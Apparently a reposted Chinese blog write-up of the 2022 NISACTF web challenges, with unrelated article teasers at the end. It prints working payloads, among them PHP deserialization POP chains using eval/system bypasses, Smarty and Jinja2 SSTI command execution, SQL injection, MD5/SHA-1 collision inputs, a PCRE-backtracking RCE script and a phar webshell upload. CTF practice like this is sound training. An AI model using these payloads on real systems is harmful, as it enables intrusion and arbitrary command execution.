2022NISCTF--web

news2024/11/12 16:07:57

easyssrf

打开题目,显示的是

尝试输入, 发现输入flag有东西

读取文件

访问下一个网站

读取文件 不能以file开头 直接伪协议,base64解码

checkIn

奇怪的unicode编码

当选中左边的时候右边也会被选中

我们在vscode看看 这样的额

展示的是UTF-16 三位16进制 转化一下UTF-8

U+202E 0xE2 0x80 0xAE   %E2%80%AE
U+2066 0xE2 0x81 0xA6   %E2%81%A6
U+2069 0xE2 0x81 0xA9   %E2%81%A9

调整一下就好了

payload

ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF

level-up

考点 hash强碰撞 parse_url函数漏洞 create_funcion函数代码执行

打开题目,查看源码

disallow 一般robots.txt里会有 查看一下,进入第二关

第二关 md5 碰撞绕过

array1=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%AC%F8%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45j%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3Xg%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%3F%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2AO%DFF%2A%F3%8BcH%FF%85%3F%0D%D0%9B%C7%C8-%12%92

array2=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%ACx%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45%EA%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3%D8g%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%BF%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2A%CF%DEF%2A%F3%8BcH%FF%85%3F%0D%D0%9BG%C8-%12%92

进入第三关

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

进入第四关

先了解一下parse_url函数:解析 URL,返回其组成部分

  • scheme - 如 http
  • host
  • port
  • user
  • pass
  • path
  • query - 在问号 ? 之后
  • fragment - 在散列符号 # 之后

方法一、php传参解析:不规范的被转化为_;NI+ => NI_

方法二、parse_url函数漏洞

http://xxxx/xx.php?xx=xx   解析的query  为xx=xx
http://xxxx///xx.php?xx=xx 解析的query  为NULL 就是解析不到query

进入第五关

ok 这个形式 形似之前我做的笔记,第二个参数会被当作命令执行

考点应该是 create_function 方法

分析该正则

if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]
/D如果使用$限制结尾字符,则不允许结尾有换行;

意思就是 匹配字母数字下划线开头的字符
我们需要找到一个不以数字,字母,下划线等开头的value,同时可以正常执行函数
可以是fuzz找 就是 ascii码32-126作为第一个参数 发请求 看响应 
找到的是 \ 也就是 %5c

构造一下

a=\create_function&b=;}phpinfo();/*

babyupload

考点:python的os.path函数漏洞

查看源码

访问 下载源码

Flask写的后端,上传的文件名不能有. 返回一个路径

拼接路径 读取文件

os.path漏洞

所以说

os.path("upload/",'/flag') => os.path('/flag')

一般来讲 flag都是在根目录下载flag 特别是这样的考点

上传的文件名为 /flag 就会读取内容

bingdundun~

考点:phar伪协议读取压缩文件

打开题目

说的可以上传压缩包,我们制造一个压缩包木马 然后 phar 读取试试

这里刚开始上传rar不可以 上传的zip

写木马=>压缩成zip

执行成功,寻找flag

babyserialize

考点:反序列POC构造 system绕过

一眼反序列化 打开题目为源码

include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

?>

一步一步的分析

# 这里可以先看看提示
public function __wakeup()
{
    if($this->fun=="show_me_flag"){
        hint();
    }
}

# 构造
?ser=O:4:"NISA":2:{s:3:"fun";s:12:"show_me_flag";s:8:"txw4ever";N;}

然后接着分析 先找到目的地

# NISA类的
# __invoke以函数的形式调用对象时触发
public function __invoke()
{
    checkcheck($this->txw4ever);
    @eval($this->txw4ever);
}

# 发现  Ilovetxw类有 
# $this->su=new NISA();
# __toString 将对象当作字符串处理的时候触发
public function __toString(){
    $bb = $this->su;
    return $bb();
}

# 发现了两处
# 1.NISA类的
public function __wakeup()
{
    if($this->fun=="show_me_flag"){
        hint();
    }
}

# 2.four类的
public function __set($name, $value)
{
    $this->$name=$value;
    if ($this->fun = "sixsixsix"){
        strtolower($this->a);
    }
}

我们先根据第一处构造POC

class NISA{
    public $fun;
    public $txw4ever;
}

class Ilovetxw{
    public $huang;
    public $su;
}
$a = new NISA();
$b = new Ilovetxw();
$b->su = $a;
$a->txw4ever = "phpinfo();";
$a->fun = $b;
echo((serialize($a)));

说明是对的不过被waf挡住了而已

过滤了system

命令执行函数system()绕过
"\x73\x79\x73\x74\x65\x6d"("cat%20/flag");
(sy.(st).em)(whoami);

最终的POC

class NISA{
    public $fun;
    public $txw4ever;
}

class Ilovetxw{
    public $huang;
    public $su;
}
$a = new NISA();
$b = new Ilovetxw();
$b->su = $a;
$a->txw4ever = '"\x73\x79\x73\x74\x65\x6d"("cat /f*");';
$a->fun = $b;
echo((serialize($a)));

第二处构造POC

# NISA类的
# __invoke以函数的形式调用对象时触发
public function __invoke()
{
    checkcheck($this->txw4ever);
    @eval($this->txw4ever);
}

# 发现  Ilovetxw类有 
# $this->su=new NISA();
# __toString 将对象当作字符串处理的时候触发
public function __toString(){
    $bb = $this->su;
    return $bb();
}

# 2.four类的
# __set给不可访问 不存在的属性赋值时触发
# $this->a=new Ilovetxw();
public function __set($name, $value)
{
    $this->$name=$value;
    if ($this->fun = "sixsixsix"){
        strtolower($this->a);
    }
}

# Ilovetxw类的
# $this->huang=new four();
# __call调用不存在的方法触发
public function __call($fun1,$arg){
    $this->huang->fun=$arg[0];
}

# TianXiWei类的
#  $this->ext=new Ilovetxw();
public function __wakeup()
{
    $this->ext->nisa($this->x);
}

合起来构造

class NISA{
    public $fun;
    public $txw4ever;
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}
$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();
$a->ext=$b;
$b->huang=$c;
$c->a=$b;
$b->su=$d;
$d->txw4ever="system('ls');";
echo urlencode(serialize($a));

也是成功的

绕过

class NISA{
    public $fun;
    public $txw4ever;
}
class TianXiWei{
    public $ext;
    public $x;
}
class Ilovetxw{
    public $huang;
    public $su;
}
class four{
    public $a;
    private $fun;
}
$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();

$a->ext=$b;
$b->huang=$c;
$c->a=$b;
$b->su=$d;
$d->txw4ever="(sy.(st).em)('cat /f*');";

echo urlencode(serialize($a));

midlevel

考点:Smarty SSTI

打开题目显示了IP 肯定时根据xff显示的IP 所以我们的可控点就是xff 来到最后看到

使用的是Smarty模板 考虑服务器模板注入

Smarty的注入方式{if phpinfo()}{/if} 尝试一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CqCnZBPu-1667131050882)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221030160247518.png)]

OK 已经出答案了

X-Forwarded-For:{if system('nl /f*')}{/if}


join-us

考点:join using 无列名注入

访问登录页面,看到一个cat u get flag 输入框 试试sql注入

有报错信息

黑名单

by updatexml database union columns = substr

爆数据库名

这里一步一步的测试过滤什么的时候,发现了 泄露了表的名称

在查询是 如果查询的列不存在 并且 没有关闭报错信息 可以查询一个不存在的列 这样会报错

爆表名

方法一、brup爆破

这里忘记了考虑 过滤= like替换了 直接爆破 一般我们创建的表都是在最后的

方法二、like替换=

join using 爆破列名

查出来Fal_flag有以下三列

id
data
i_tell_u_this_is_Fal(se)_flag_is_in_another
1'or/**/extractvalue(1,concat(0x7e,(select * from(select * from Fal_flag a join Fal_flag b using(id,data,i_tell_u_this_is_Fal(se)_flag_is_in_another))c),0x7e))--+

提示不在这个表中 去看另外一个表

{3bfb0ba4-dac9-425a-9e0f-cf2672d7afdd}

或者查data,结果都是一样的,配个mid 显示后面的

is secret

考点:RC4、SSTI

打开之后 这样,让我们发现secret

尝试 传参 /secret 等等 发现是/secret

页面:

意思就是给他secret 它返回加密的内容

看 第一个加密时字母 其余的不可见 猜测可能加密的字符长度受限 试试看

果然 泄露了敏感信息 分析一下

  • RC4 解密 密钥是 HereIsTreasure
  • render_template_string 渲染 存在 SSTI python的

找一个RC4加密的脚本

import base64
from urllib import parse


def rc4_main(key="init_key", message="init_message"):  # 返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box


def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))


key = "HereIsTreasure"  # 此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)

运行RC4 加密

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

ls换成cat /flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()")}}{% endif %}{% endfor %}

popchains

考点:反序列化链子构造、flag藏得位置

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    //3.$this->string=new  Make_a_Change
    // 把实例当作字符串处理触发
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        // 这里 
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    # 终点
    public function append($value){
        include($value);
    }
    # 1.调用终点   __invoke 以函数形式调用时触发
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }
	
    public function __get($key){
        // 2.  $this->effort=new Try_Work_Hard();
        //  __get 访问不存在 不可访问的属性触发
        $function = $this->effort;
        return $function();
    }
}

构造的POC

<?php 
class Road_is_Long{
    public $page;
    public $string;
    //3.$this->string=new  Make_a_Change
}

class Try_Work_Hard{
    protected  $var;
    function __construct(){
        $this->var="php://filter/convert.base64-encode/resource=flag.php";
    }
}

class Make_a_Change{
    public $effort;
    // 2.  $this->effort=new Try_Work_Hard();
    }
 //   $this->var="xx";
$a = new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page = $a;
$a->string=$b;
$b->effort=$c;

echo urlencode(serialize($a));

先本地测试一下 我在同目录放了一个flag.php

ok 是可以的

试试看,没有显示 就怀疑是不是没有放在flag.php

往常一样试试根目录 /flag /flag.php 一般就是给我们挖坑就不会改的特别离谱的名字

最终的POC

class Road_is_Long{
    public $page;
    public $string;
    //3.$this->string=new  Make_a_Change
}
class Try_Work_Hard{
    protected  $var;
    function __construct(){
        $this->var="php://filter/convert.base64-encode/resource=/flag";
    }
}
class Make_a_Change{
    public $effort;
    // 2.  $this->effort=new Try_Work_Hard();
    }
 //   $this->var="xx";
$a = new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page = $a;
$a->string=$b;
$b->effort=$c;
echo urlencode(serialize($a));

这个比前一个反序列化要简单看来

middlerce

考点:PRCE绕过、RCE

打开题目直接是源码

include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}

看看这个正则

^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$ 
.*直接匹配所有,但是后面表达式还是需要匹配 这样就会回溯 
什么意思?
就是如下图

那么如果找不到会一直回溯寻找嘛?当然不会 PHP有个100w的次数限制,也就是当回溯100w次 preg_match 将不在寻找,返回为false

注意 这里是false 0 √ false=0 ×

所以在本题中 我们可以构造一个大于回溯个数的串造成逃逸

看这里,是json解码之后的cmd内容,我们直接构造一个json串 python发送请求

在尝试过程 system啥的被禁 我们可以闭合前一个 构造下一个php标签绕过

$command = json_decode($txw4ever,true)['cmd'];
// checkdata 过滤了一些命令 尝试绕过
checkdata($command);
@eval($command);

如下

import requests
url = "http://1.14.71.254:28950/"
# 直接构造json串
'''
注意细节:
这样是不对的:'{"cmd":"?><?= `ls`?>;","overflow":'+"-"*1000000+'}' 
因为:"overflow":'+"-"*1000000+'}' 这里拼接完成后 - 并没有引号包裹 导致错误  
正确的应该给外层-加上引号 如'{"cmd":"?><?= `ls`?>;","overflow":"'+"-"*1000000+'"}' 

因为-没有在正则的[]里面 所以可以使用
'''
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
resp = requests.post(url=url,data={"letter":data})
print(resp.text)

hardsql

等会写wp! 现在有些疲惫啦!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2087.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux系统中利用open函数多次打开同一个文件操作方法

大家好。 今天的话主要和大家聊一聊&#xff0c;在Linux系统中如果一个文件被打开多次会出现什么情况。 目录 第一&#xff1a;多次打开同一个文件 ​第二&#xff1a;一个文件被打开多次&#xff0c;在内存中不会存在多份动态文件 ​第三&#xff1a;多次open打开同一…

第一章 - Windows安装VMware Workstation Pro

文章目录前言一、VMware Workstation Pro安装的前提条件二、VMware Workstation Pro下载三、VMware Workstation Pro安装前言 Linux是一个开源、免费的操作系统&#xff0c;其稳定性、安全性、处理多并发已经得到业界认可&#xff0c;目前很多企业级的项目都会部署到Linux系统…

结构体内存对齐

在知道了结构体类型的基本使用之后&#xff0c;我们需要深入探讨一个问题&#xff0c;即计算结构体的大小&#xff0c;这也是一个热门的考点&#xff1a;结构体内存对齐。 目录 一、结构体的对齐规则 二、例题 2.1 例题一 2.2 例题二 2.3 例题三 ​编辑 三、为什么存在内存…

【C++】vector,list迭代器失效

1.vector迭代器失效 vector容器的物理基础是线性表&#xff0c;底层是指针变量实现的。 在这里导致vector迭代器失效的原因会有两种-----插入失效&#xff0c;删除失效。 1.2插入数值导致迭代器失效 1.21扩容导致迭代器失效 我们在一块vector空间插入pos&#xff08;20&…

第三章 单向链表的讲解与实现

初阶数据结构 第一章 时间复杂度和空间复杂度 第二章 动态顺序表的实现 第三章 单向链表的讲解与实现 文章目录初阶数据结构前言一、什么是链表&#xff1f;二、节点的定义&#xff1a;三、单向链表接口函数1、打印&#xff1a;2、尾插&#xff1a;3、头插&#xff1a;4、尾删…

改进YOLOv7系列: 最新结合用于小目标的新CNN卷积构建块

&#x1f4a1;统一使用 YOLOv7 代码框架&#xff0c;结合不同模块来构建不同的YOLO目标检测模型。&#x1f31f;本项目包含大量的改进方式,降低改进难度,改进点包含【Backbone特征主干】、【Neck特征融合】、【Head检测头】、【注意力机制】、【IoU损失函数】、【NMS】、【Loss…

Linux-进程控制

进程控制进程创建fork函数写时拷贝fork常规用法fork调用失败的原因进程终止进程等待进程程序替换程序替换的原理如何程序替换进程创建 fork函数 fork之前父进程独立运行&#xff0c;fork之后&#xff0c;父子两个执行流分别执行。 进程具有独立性&#xff0c;代码和数据必须独立…

机器学习HMM模型

目录1 马尔科夫链1.1 简介1.2 经典举例1.3 小结2 HMM简介2.1 简单案例2.2 案例进阶2.2.1 问题阐述2.2.2 问题解决3 HMM模型基础3.1 什么样的问题需要HMM模型3.2 HMM模型的定义3.3 一个HMM模型实例3.4 HMM观测序列的生成3.5 HMM模型的三个基本问题4 前向后向算法评估观察序列概率…

计算机毕业设计-SSM高校社团招新系统-JavaWeb大学生社团管理系统-源码+文档+讲解

注意&#xff1a;该项目只展示部分功能&#xff0c;如需了解&#xff0c;评论区咨询即可。 本文目录1.开发环境2.系统的设计背景3 前后台功能设计3.1 前台功能3.2 后台功能4 系统页面展示4.1 学生功能模块展示4.2 干部功能模块展示4.3 管理员功能模块展示5 更多推荐6 部分功能代…

如何用IDEA提高你的开发效率

前言 ​ 作为一名java开发工程师&#xff0c;IDEA无疑是我日常接触最多的工具。因此&#xff0c;能否高效使用IDEA软件&#xff0c;一定程度上决定了我们的开发效率。本文将主要介绍IDEA中的四个便于提高开发效率的功能&#xff0c;常用快捷键、实时模版、后缀补全、文件和代码…

《本地计算机DNS缓存文件》

C:\Windows\System32\drivers\etc 36.152.44.95 www.baidu.com 正常访问www.baidu.com可以DNS抓包&#xff0c;将百度的IP及域名加入文件位置的hosts文件中即该IP和域名将不再请求网络上的DNS服务器&#xff0c;即加快域名解析&#xff1b; 具体作用&#xff1a; 1.加快域名解…

什么是RPC框架?

什么是RPC&#xff1f; In distributed computing, a remote procedure call (RPC) is when a computer program causes a procedure (subroutine) to execute in a different address space (commonly on another computer on a shared network), which is coded as if it wer…

创新能力 | 产品经理实践中常犯的七大错误

做产品是一个既感性又理性的过程&#xff0c;纵然有很多前辈同行的经验传承和技巧指导&#xff0c;但在落到实处是时&#xff0c;总难免犯一些错误。有些是经验不足导致&#xff0c;有些则是产品经理对于人性的浅见寡闻。本文作为产品经理实践指南专题的中级篇&#xff0c;阐述…

用 AWTK 和 AWPLC 快速开发嵌入式应用程序 (2)-走马灯

AWPLC 目前还处于开发阶段的早期&#xff0c;写这个系列文章的目的&#xff0c;除了用来验证目前所做的工作外&#xff0c;还希望得到大家的指点和反馈。如果您有任何疑问和建议&#xff0c;请在评论区留言。 1. 背景 AWTK 全称 Toolkit AnyWhere&#xff0c;是 ZLG 开发的开源…

全球名校AI课程库(35)| 辛辛那提大学 · 微积分Ⅱ课程『MATH101 Calculus II』

&#x1f3c6; 课程学习中心 | &#x1f6a7; CS数学基础课程合辑 | &#x1f30d; 课程主页 | &#x1f4fa; 中英字幕视频 | &#x1f680; 项目代码解析 课程介绍 Trefor Bazett 教授在 Cincinnati 大学任教时&#xff0c;制作了两套完整的的数学课程&#xff08;微积分、离…

Eclipse创建Servlet项目-7

目录 1、创建动态 Web 项目 2、使用 Eclipse 创建 Servlet 3、配置 web.xml 4、部署项目并启动服务器 通过前面的学习&#xff0c;我们了解了如何在 Tomcat 目录下手动部署 Servlet&#xff0c;这种方式不但效率低下&#xff0c;而且容易出错。因此&#xff0c;在实际开发中…

变量常量,基本数据类型及数据类型转换

⭐️ 变量常量与基本数据类型及数据类型转换 &#x1f4cd; 来自&#xff1a;中南林业科技大学软件协会学术部&#xff1a;谢添 ⏲ 时间&#xff1a;2022 - 10 - 29 至 2022 - 10 - 30 &#x1f3e0; 官网&#xff1a;https://www.csuftsap.cn/ ✏️ 本章所有提供代码均已测…

四旋翼无人机学习第4节--STM32、MPU9250等器件的绘制

0 前言 当画stm32、mpu9250这种多引脚的芯片&#xff0c;就需要参考芯片手册啦。 这里给大家推荐一个芯片手册查询网站。 半导小芯-芯片查询工具 进入网站&#xff0c;输入芯片的具体名称&#xff0c;点击查询即可。 最后点击下载即可。 1 stm32芯片手册引脚查询 选择引脚…

学习在Git项目中使用子模块(图文教程)

一般认为 父项目 是当前正在做的主要工作&#xff0c;但需要依赖 子模块 中提供的算法或者工具。父项目 与 子模块 不是同一批人维护的&#xff0c;或者是需要分开维护的。 此情此景&#xff0c;需要学习该教程了&#xff01;&#xff01;&#xff01; 文章目录1 如何在父项目…

基于Java的一个可自由拖拽的BI可视化系统(附源码)

介绍 这是一个可自由拖拽的BI可视化系统支持主流的关系数据&#xff1a;MySQL&#xff0c;Oracle&#xff0c;PostgreSQL等同时支持Apache Doris&#xff0c;这个一开始初衷就是为了 Doris 数据可视化分析做的后端框架使用了若依 功能 按项目管理数据看板看板具备分享功能可以…